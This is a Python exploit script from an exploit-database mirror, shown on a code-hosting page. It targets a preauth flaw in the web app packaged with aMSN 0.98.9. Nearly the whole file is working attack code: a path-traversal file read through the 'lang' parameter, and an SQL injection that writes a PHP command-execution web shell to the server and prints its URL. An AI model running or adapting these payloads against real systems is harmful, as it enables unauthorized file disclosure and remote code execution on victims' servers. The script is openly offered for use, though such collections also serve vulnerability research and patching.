PageRenderTime 41ms CodeModel.GetById 19ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/28960.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 59 lines | 39 code | 5 blank | 15 comment | 1 complexity | 8d367e119443593f38199a21e4d02bd3 MD5 | raw file
Possible License(s): GPL-2.0
  1. # Exploit Title: aMSN LFI/SQLi
  2. # Date: 10/09/2013
  3. # Exploit author: drone (@dronesec)
  4. # Vendor homepage: http://www.amsn-project.net
  5. # Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe
  6. # Version: 0.98.9
  7. # Fixed in: SVN repositories (r12422)
  8. # Tested on: Ubuntu 12.04 (apparmor disabled)
  9. from argparse import ArgumentParser
  10. import urllib2
  11. import string
  12. import random
  13. """
  14. Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9
  15. """
  16. def lfi(options):
  17. """ exploit the LFI
  18. """
  19. addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\
  20. options.ip, options.root, options.lfi)
  21. data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]
  22. print data
  23. def run(options):
  24. """ exploit lfi or sqli
  25. """
  26. if options.lfi:
  27. return lfi(options)
  28. shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))
  29. sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)
  30. # ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -
  31. exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\
  32. 'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)
  33. urllib2.urlopen(sqli + exploit)
  34. print '[!] Shell dropped. http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)
  35. def parse_args():
  36. parser = ArgumentParser()
  37. parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)
  38. parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',
  39. metavar='[file]')
  40. parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',
  41. default='/amsn')
  42. parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',
  43. default='/var/www/amsn')
  44. options = parser.parse_args()
  45. options.path = options.path if options.path[-1] != '/' else options.path[:-1]
  46. options.root = options.root if options.root[-1] != '/' else options.root[:-1]
  47. return options
  48. if __name__ == "__main__":
  49. run(parse_args())